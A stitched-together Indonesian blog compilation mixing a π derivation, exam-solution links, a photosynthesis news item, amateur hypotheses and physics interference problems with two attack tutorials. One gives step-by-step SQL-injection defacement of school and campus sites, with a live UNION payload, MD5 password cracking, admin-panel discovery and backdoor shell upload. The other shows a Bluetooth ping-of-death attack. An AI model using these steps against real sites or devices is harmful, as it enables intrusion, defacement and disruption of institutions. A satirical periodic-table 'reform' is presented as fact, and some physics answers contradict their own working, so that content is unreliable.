How to calculate π value with Archimedes Geometry

disini saya akan menjelaskan bagaimana nilai  π = 3,14 di dapat, oleh karena anda bisa download pembahasan saya di link berikut ini

https://drive.google.com/open?id=1Om7d62YYFVgmmT4D74tGj5mWFNcfH5Gz

Pembahasan Soal masuk Universitas Indonesia MATDAS 2017

Pembahasan Soal masuk Universitas Indonesia MATDAS 2017

Pembahasan Soal Prediksi UTBK/Test Center SBMPTN 2019

Pembahasan Soal Prediksi UTBK/Test Center SBMPTN 2019

Sulusi By Muhammad Hafidz

Perhatikan gambar !

Disini saya meminta untuk mengerjakan nya dengan menggunakan cara selain trigonmetri yaitu ( aturan cosinus/sinus )

Pembahasan

Kita buat terlebih dahulu sumbu x dan y 

deface web perguruan negeri/sekolah dengan CMS SQL Lokomedia

Assalamu'alaikum, jumpa lagi dengan saya muhammad hafidz, disini saya akan berbagi dikit ilmu mengenai bagai mana cara mendeface web kampus/sekolah dengan metode CMS SQL Lokomedia, oke langsung saja

bahan-bahan ;
1. pc/laptop
2. shell backdoor
3. script deface

step by step


Dork :

donwnload dork

1. Dorking google

2. Pilih salah satu web yang akan anda jadikan target deface

3. masukan kode exploitnya

code exploit : download sini

contoh         : http://www.coly.sch.id/statis-22-kerjasama.html ,,( exploit Di belakang Nomor ) 

live target    : http://www.asedekentot:v.com/statis-22'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+

4. jika web target vuln maka akan tampil seperti ini

5. Untuk Melihat User Dan password website kita tekan CTRL + U Biar lebih jelas

6. copykan username dan password tersebut, karena password masih dalam bentuk MD5 maka harus di decrypt , Dan untuk decrypt password md5 saya menggunakan hashkiller , Dan Kalian Bisa gunakan tools / aplikasi lain untung decrypt

https://hashkiller.co.uk/md5-decrypter.aspx
http://md5online.org/

7. jika berhasil maka akan seperti ini

8. selanjutnya mencari login admin, anda bisa menggunakan kode ini di belakang web terget

Untuk Admin Login : 

/adm

/adminweb

/administrator

/redaktur

Dan Kalian Bisa Scan admin login dengan admin finder onlen

Untuk Admin finder : download sini

9. jika berhasil silahka anda login menggunakan username dan password tadi

10. Dan Kalau Sudah Login Kamu akan Di arah kan ke dashboard 

11. Dan Taraa ,, Kamu Sudah berhasil masuk ke dashboard ...

Langkah terakhir kamu Cari tempat upload untuk Tempat upload shell kamu

12. Skarang upload shell kamu 

SEKIAN, postingan saya tentang cara deface web kampus/sekolahan dengan metode CMS SQL Lokomedia, jangan di salahgunakan ya, gunakan dengan bijak dan bisa di pertanggung jawabkan

rusak sinyal bluetooth dengan websploit

Assalamualaikum Wr WB

OKe para agan sekalian kembali saya disini akan membahas khusunya di bidang IT Security, karena SAINS dan IT terdepan saya juga harus bahas tentang IT

Saya disini akan memberitahu bagaimana caranya mengganggu jaringan bluetooth seseorang dengan websploit, namu perlu di ingat! ini hanya untuk pembelajaran semata! tidak untuk di salah gunakan.oke langsung saja

Alat dan Bahan
1. pastinya PC/Lapton
2. Bluetooth interface
3. Os Linux,disini saya gunakan kali linux 2.0

pertama-tama buka terminal dan ketikan

"root@localhost:~#sudo websploit "

2. ketikan di terminal

 " show modules "

3. copykan text ini di terminal

"use bluetooth/bluetooth_pod"

4. ketikan di terminal

"show options"

5. scan target bluetooth anda dgn mengetik di terminal

"scan"

6. set bdaddr anda dengan mengetikan di terminal

" set bdaddr (mac address target anda) " lalu enter

7. lalu ketikan run di terminal

" run " enter

 taaraa :v target anda berhasil di attack dengan metode bluetooth ping of death attack..

sekian tutor tentang mengganggu jaringan bluetooth orang, semoga bermanfaat. dan jangan di salah gunakan!ingat dosa tanggung sendiri jangan bawa bawa gue

Wassalamualikum Wr Wb

ilmuwan menemukan jenis fotosintesis baru pada alga

Penampang batu pantai (Heron Island, Australia) menunjukkan klorofil-f mengandung cyanobacteria (jalur hijau) yang tumbuh jauh ke dalam batu, beberapa milimeter di bawah permukaan. Kredit: Dennis Nuernberg

Penemuan ini mengubah pemahaman kita tentang mekanisme dasar fotosintesis dan harus menulis ulang buku teks.

Ini juga akan menyesuaikan cara kita berburu kehidupan asing dan memberikan wawasan tentang bagaimana kita bisa merancang tanaman yang lebih efisien yang memanfaatkan panjang gelombang cahaya yang lebih panjang

Penemuan yang dipublikasikan hari ini di Science, dipimpin oleh Imperial College London, didukung oleh BBSRC, dan melibatkan kelompok-kelompok dari ANU di Canberra, CNRS di Paris dan Saclay dan CNR di Milan.

Sebagian besar kehidupan di Bumi menggunakan cahaya merah yang terlihat dalam proses fotosintesis, tetapi tipe baru menggunakan cahaya inframerah telah di temukan sebagai gantinya,ini terdeteksi di dalam cyanobacteria (ganggang biru-hijau) ketika mereka tumbuh di dekat cahaya inframerah, ditemukan dalam kondisi yang teduh seperti tikar bakteri di Yellowstone dan di pantai batu di Australia.

Sebagaimana telah ditemukan oleh para ilmuwan,ini juga terjadi di lemari yang dilengkapi dengan LED inframerah di Imperial College London.

Fotosintesis yang melampaui batas standar

Jenis fotosintesis standar yang hampir universal menggunakan pigmen hijau, klorofil-a, keduanya mengumpulkan cahaya dan menggunakan energinya untuk membuat biokimia dan oksigen yang berguna.Ketika klorofil-a menyerap cahaya hanya energi dari cahaya merah yang dapat digunakan untuk fotosintesis.

Karena klorofil-a terdapat pada semua tanaman, alga dan cyanobacteria yang kita ketahui, hal dianggap bahwa energi cahaya merah sebagai 'standar' untuk fotosintesis; yaitu, jumlah minimum energi yang diperlukan untuk melakukan proses kimia yang digunakan untuk menghasilkan oksigen, Batas standar ini digunakan dalam ilmu astrobiologi untuk mencari apakah ada kehidupan yang kompleks yang bisa berevolusi di planet-planet di tata surya lainnya.

Namun, ketika beberapa cyanobacteria ditanam di dekat sinar inframerah, sistem klorofil-a-yang merupakan standar fotosinteisi,  digantikan oleh sistem yang berbeda yang mengandung jenis klorofil yang berbeda,yaitu klorofil-f, dan mengambil alihnya.

Hingga saat ini, diperkirakan bahwa klorofil-f yang meyerap energi cahaya tersebut.Penelitian baru menunjukkan bahwa alih-alih klorofil-f memainkan peran kunci dalam fotosintesis di bawah kondisi yang berbayang, menggunakan cahaya inframerah energi rendah untuk melakukan proses kimia kompleks/fotosintesis. Ini adalah fotosintesis 'di luar batas standar'..

Peneliti utama Profesor Bill Rutherford, dari Departemen Ilmu Kehidupan di Imperial, mengatakan: "Bentuk baru fotosintesis ini membuat kami memikirkan kembali apa yang kami pikir mungkin terjadi Ini juga mengubah cara kita memahami peristiwa penting di jantung fotosintesis standar. Ini adalah buku pelajaran yang mengubah hal tersebut. "

Koloni sel-sel Chroococcidiopsis-seperti memiliki warna yang berbeda yang sedang melakukan proses fotosintesis. ini dilakukan oleh klorofil-a  dan klorofil-f . Kredit: Dennis Nuernberg

Mencegah kerusakan karena cahaya

Cyanobacterium lain, Acaryochloris, sudah diketahui melakukan fotosintesis di luar batas standar. Namun, karena hanya terjadi pada satu spesies ini, dengan habitat yang sangat spesifik, itu dianggap sebagai 'pertama kali'. Acaryochloris hidup di bawah semburan air laut hijau yang menampakkan sebagian besar cahaya yang terlihat hanya meninggalkan sinar-inframerah.

Fotosintesis berbasis klorofil-f dilaporkan hari ini merupakan jenis ketiga fotosintesis yang tersebar luas. Namun, ini hanya digunakan dalam kondisi berbayang bayang inframerah, khusus dalam kondisi cahaya normal, bentuk standar fotosintesis masih digunakan.

Diperkirakan bahwa kerusakan ringan akan lebih parah di luar batas standar, tetapi studi baru menunjukkan bahwa itu bukan masalah dalam lingkungan yang stabil dan teduh.

Rekan penulis Dr. Andrea Fantuzzi, dari Departemen Ilmu Kehidupan di Imperial, mengatakan: "Menemukan jenis fotosintesis yang bekerja di luar batas standar mengubah pemahaman kita tentang kebutuhan energi fotosintesis. Ini memberikan wawasan tentang penggunaan energi cahaya dan ke dalam mekanisme yang melindungi sistem terhadap kerusakan oleh cahaya. "

Wawasan ini dapat berguna bagi para peneliti yang mencoba merekayasa tanaman untuk melakukan fotosintesis yang lebih efisien dengan menggunakan lebih banyak cahaya .Bagaimana cyanobacteria ini melindungi diri dari kerusakan yang disebabkan oleh variasi kecerahan cahaya, dapat membantu para peneliti menemukan apa yang layak untuk dikerjakan ke tanaman tanaman.

More information: Dennis J. Nürnberg et al, Photochemistry beyond the red limit in chlorophyll f–containing photosystems, Science (2018)

Departemen pendidikan internasional menyederhanakan tabel periodik unsur ( SPU )

Karena terlalu banyak elemen/unsur yang perlu diingat, lalu klasifikasi yang terlalu rumit dan di atas semua itu mustahil untuk di ingat satu persatu. Tidak ada kekurangan/keluhan terhadap tabel periodik unsur-unsur yang dibuat pada abad terakhir oleh ahli fisika Rusia Mendeleev.Oleh karena itu untuk mempermudah pekerjaan guru, siswa dan ilmuwan, departemen pendidikan telah memutuskan untuk menyederhanakannya.

Tabel ini, yang awalnya terdiri dari 118 Unsur,namun sekarang hanya akan berisi 20 unsur saja.

"Tidak ada didunia pendidikan yang mengharuskan siswanya untuk mengingat sifat unsur kimia yang rumit, langka seperti plutonium, strontium atau apa pun, mengetahui dengan baik bahwa itu tidak akan pernah mungkin, dalam kenyataannya, untuk menangani, membeli atau bahkan mengamati mereka", kata Senator yang bertanggung jawab untuk pendidikan.

Tabel yang disederhanakan ini sekarang hanya akan terdiri dari 20 elemen kimia yang paling umum, paling mudah dipahami, paling mudah diakses dan paling berbahaya.semua unsur atau elemen radioaktif, karsinogenik atau beracun di hilangkan dari tabel karena merupakan zat terlarang atau dilarang oleh hukum.Tabel baru hanya akan mencantumkan elemen yang dapat dibeli oleh seorang siswa di toko toko dan dapat ditangani dengan aman.

Klasifikasi, yang dianggap terlalu rumit, juga telah disederhanakan dan direvisi secara luas.Simbol simbol untuk beberapa elemen/unsur telah diubah namanya untuk memungkinkan siswa mengidentifikasi cepat untuk setiap atom. klasifikasi elemen/unsur lama merupakan sumber penyimpangan, sumber kesalahan dan kebingungan di kalangan siswa.Misalnya, simbol Na digunakan untuk Sodium dan K untuk Kalium. Masing masing simbol untuk elemen-elemen ini telah digantikan oleh masing-masing simbol S dan P

Juga untuk penyederhanaan, nomor atom, massa, molar dan volume telah digantikan oleh klasifikasi baru yang jauh lebih relevan dan obyektif.

Seperti yang ditunjukkan tabel dalam artikel ini, tabel elemen yang telah disederhanakan baru akan dipecah pada skala, dengan enam tingkat mulai dari ringan hingga yang  terberat, dan termasuk dua skala pembacaan tambahan  kategori yang mengklasifikasikan atom menggunakan dua kriteria intuitif yang mudah diinterpretasikan oleh siswa, yaitu: Murah / Bagus nilainya / Tidak mahal dan Sangat baik / Baik / Tidak bagus

Mengingat hal ini diterima positif oleh siswa - dan calon pemilih - menemukan tabel yang lebih mudah diingat, departemen pendidikan  juga mempertimbangkan ini untuk penyederhanaan hukum fisika.

solusi praktis menghemat BBM

assalamu'alaikum wr wb
apakabar sahabat, semoga kita semua baik2 saja aamiin
disini saya akan bahas sedikir mengenai hipotesis saya mengenai menghemat gaya BBM dengan hukum NEWTON
oke langsung saja saya kasih pamfletnya, untuk penjelasannya silahkan japri saya yang tertera di pamflet

demikian hipotesis saya mengenai cara praktis menghemat BBM, kritik dan saran anda sangat sya butuhkan untuk pengembangan selanjutnya

Solusi Mengurangin Angka Kerusakan Pada Kendaraan Yang mengalamai Kecelakaan

Hallo Jumpa lagi di blog saya,

pertama tama marilah kita panjatkan puji dan sukur kita ke hadirat Allah SWT karena atas berkahan nikamtnya kita masih di berikan kesempatan untuk membaca blog ini

Oke langsung saja di sini saya akan membahas tentang sebuah HIPOTESIS saya yaitu " Mengurangi Tingkat Kerusakan Kendaraan Yang mengalami Kecelakaan "

Tentu kita tidak asing lagi dengan yang namanya kecelakan, iya seperti tabrakan dll, hal itu yang menyebabkan banyak memakan korban jiwa, disini saya tidak akan terlalu panjang membahasnya intinya disini saya akan berika berupa pamflet berisi HIPOTESIS saya, untuk penjelasannya anda bisa hubungi Contact saya yang tertera di pamflet

                      

itulah hipotesis saya , kritik dan saran sangat di butuhkan untuk memperbaiki hipotesisi saya semoga para pembaca berkenan memberikan komentar disini untuk pengembangan hipotesis saya yang lebih baik lagi kedepannya

Contoh dan pembahasan soal Interferensi Cahaya

Nomor 1: Interferensi Cahaya

Seberkas cahaya jatuh tegak lurus pada kisi yang terdiri dari 5.000 goresan tiap cm. Sudut deviasi orde kedua adalah 30^o . Panjang gelombang cahaya yang digunakan adalah……

A. 2.500 angstrong
B. 4.000 angstrong
C. 5.000 angstrong
D. 6.000 angstrong
E. 7.000 angstrong

Pembahasan

Diketahui:

N = 5.000 goresan/cm
n = 2
θ = 30

Ditanya: λ = …

Nomor 2: Interferensi Cahaya

Seberkas cahaya monokromatik dengan panjang gelombang 500 nm tegak lurus pada kisi difraksi. Jika kisi memiliki 400 garis tiap cm dan sudut deviasi sinar 30^o maka banyaknya garis terang yang terjadi pada layar adalah…..

A. 24                D.  50
B. 25                E.   51
C. 26


Pembahasan 
Diketahui:

λ = 500 nm = 500 . 10^-9 m
N = 400 goresan/cm
θ = 30⁰

Ditanya:  n = .........

Jawab:

Nomor 3: Interferensi Cahaya

Cahaya monokromatik dari suatu sumber mengenai celah kembar dan menghasilkan pola interferensi dengan jarak antara dua pola terdekat 0,25 cm., letak layar 100 cm dari celah. Jika jarak celah 0,2 mm, maka panjang gelombang dari cahaya monokromatik tersebut adalah… 

A. 1000 Å
B. 2000 Å
C. 3000 Å
D. 4000 Å
E. 5000 Å

Pembahasan 
d . p / L = n ʎ

Antara dua pola terdekat berarti n = 1
0,2 . 10^-2 (0,25 . 10^-2) / 1 = 1 ʎ
ʎ = 5 . 10^-7 m = 5000 Å
Jawaban: E

Nomor 4: Interferensi Cahaya

Seberkas cahaya monokromatis dijatuhkan pada dua celah sempit vertikal berdekatan dengan jarak d = 0,01 mm. Pola interferensi yang terjadi ditangkap pada jarak 20 cm dari celah. Diketahui bahwa jarak antara garis gelap pertama disebelah kiri ke garis gelap pertama dikanan adalah 7,2 mm. Panjang gelombang cahaya tersebut adalah…

A. 180nm
B. 270 nm
C. 360 nm
D. 720 nm
E. 1.800 nm

Pembahasan 

d p / L = n ʎ
10^-5 (7,2 . 10^-3) / 2 . 10^-1 = 1 ʎ
ʎ = 3,6 . 10^-7 = 360 nm

Jawaban : C

Nomor 5: Interferensi Cahaya

Dua celah yang berjarak 1 mm disinari cahaya merah dengan panjang gelombang 6,5 x 10^-7 m. Garis gelap terang dapat diamati pada layar berjarak 1 m dari celah. Jarak antara gelap ketiga dengan terang kelima adalah…


A. 0,85 mm

B. 1,62 mm

C. 2,55 mm

D. 3,25 mm

E. 4,87 mm

Pembahasan

d p / L = n ʎ
antara gelap ketiga dengan terang ke lima berarti n = 2,5:
1 . 10^-3 . p / 1 = 2,5 (6,5 . 10^-7) ʎ
ʎ = 16,25 . 10^-4 m = 1,625 mm

Jawaban B

Nomor 6: Interferensi Cahaya

Pada percobaan interferensi celah ganda, jarak antar celah 0,05 cm dan layar ditempatkan 1 m dari celah. Jika dari pengamatan didapat lebar dari terang pusat ke terang ke 3 adalah 7,5 mm, maka panjang gelombang cahaya yang digunakan adalah…

A. 120 nm
B. 430 nm
C. 675 nm
D. 920 nm
E. 1250 nm

Pembahasan 

d p / L = n ʎ
antara terang pusat ke terang 3 berarti n = 3
0,05 . 10^-2 (7,5 . 10^-3) / 1 = 3 ʎ
ʎ = 12,50 . 10^-7 m = 1250 nm

Jawaban : E

Nomor 7: Interferensi Cahaya

Jarak pisah antara dua pola terang hasil interferensi oleh dua celah menggunakan sinar kuning dengan panjang gelombang 600 nm yang diamati pada layar sejauh 1 m dari celah adalah y. Jika digunakan sinar biru dengan panjang gelombang 400 nm, jarak layar terhadap kedua celah agar terbentuk pola terang dengan jarak pisah y adalah… 

A. 0,33 m
B. 0,67 m
C. 0,75 m
D. 1,50 m
E. 8,55 m

Pembahasan 

d y / L = n ʎ atau L = (d y) / (n λ)
Karena d, y, dan n sama maka L sebanding 1/λ
(Lbiru / Lkuning) = (λkuning / λbiru)
(Lbiru / Lkuning) = 600 / 400 = 1,5
Lbiru = 1,5 Lkuning = 1,5 . 1 = 1,5 m
Jawaban: D

Nomor 8: Interferensi Cahaya

Suatu berkas monokromatis dengan panjang gelombang 6 x 10^-7 m dilewatkan melalui sepasang celah sempit yang terpisahkan pada jarak 3 x 10-5 m membentuk pola interferensi pada layar jaraknya L = 2 m dari celah tersebut. Jika percobaan ini dilakukan dalam air yang indeks biasnya 4/3 maka jarak antara dua garis terang yang berdekatan adalah…
A. 0,03 m
B. 0,06 m
C. 0,12 m
D. 0,24 m
E. 0,36 m

Pembahasan 

(λair / λudara) = (nudara / nair)
(λair / λudara) = 1 / (4/3) = 3/4
λair  = 3/4 λudara = 3/4 (6 . 10^-7) = 4,5 . 10^-7 m
Interferensi celah ganda
d p / L = n λ atau p = (nλL) / d
Jarak dua terang yang berdekatan berarti n = 1
p = 1 . 4,5 . 10^-7. 2 / 3 . 10^-5 = 3 . 10^-2 m

Nomor 9: Interferensi Cahaya

Pada percobaan Young digunakan celah ganda yang terpisah pada jarak 0,063 mm sedangkan pola gelap terangnya diamati pada layar yang berjarak 4 m dibelakang celah. Jika pada percobaan tersebut digunakan sinar laser dengan panjang gelombang 630 nm, jarak antara pola gelap pertama disebelah kanan dan kiri adalah…

A. 2 cm
B. 4 cm
C. 8 cm  0^-2 
D. 10 cm
E. 12 cm

Pembahasan

p = (nλL) / d = 1 (6,3 . 10^-7) . 4 / 6,3 . 10^-5 
= 4 . 10^-2 m

Jawaban: D

Nomor 10: Interferensi Cahaya

Dua puluh pola gelap terang interferensi menyebar 4 cm pada layar yang letaknya 50 cm dari dua celah yang berjarak 0,01 cm. Besar panjang gelombang yang melewati celah adalah…

A. 50 nm
B. 100 nm
C. 300 nm
D. 400 nm
E. 500 nm

Pembahasan 
d p / L = n λ
dua puluh pola gelap terang berarti n = 20
0,01 . 10^-2 (4 . 10^-2) / 0,5 = 20 λ
λ = 4 . 10^-7 m = 400 nm

Nomor 11

Sebuah cahaya monokromatis dengan panjang gelombang 6000 Å datang hampir tegak lurus pada permukaan lapisan tipis sabun. Ketebalan lapisan tipis sabun tersebut agar dapat diperoleh terang maksimum pada cahaya yang dipantulkan adalah… 

A. 0,01 µm
B. 0,15 µm
C. 0,30 µm
D. 0,45 µm
E. 0,60 µm

Pembahasan 
Interferensi maksimum pada selaput tipis yang berada di udara terjadi bila memenuhi:
2nd cos r = (m – 1/2) λ
Sinar hampir tegak lurus berarti r = 0, sehingga cos r = cos 0 = 1.
2nd = (m – 1/2) λ atau d = (m – 1/2)λ / 2n
n = indeks bias selaput = indeks bisa udara = 1
d = λ / 4 n = 6000 / 4 . 1 = 1500 Å = 0,15 µm

Jawaban: B

Demikian postingan kami mengenai  Contoh dan pembahasan soal Interferensi semoga dapat bermanfaat.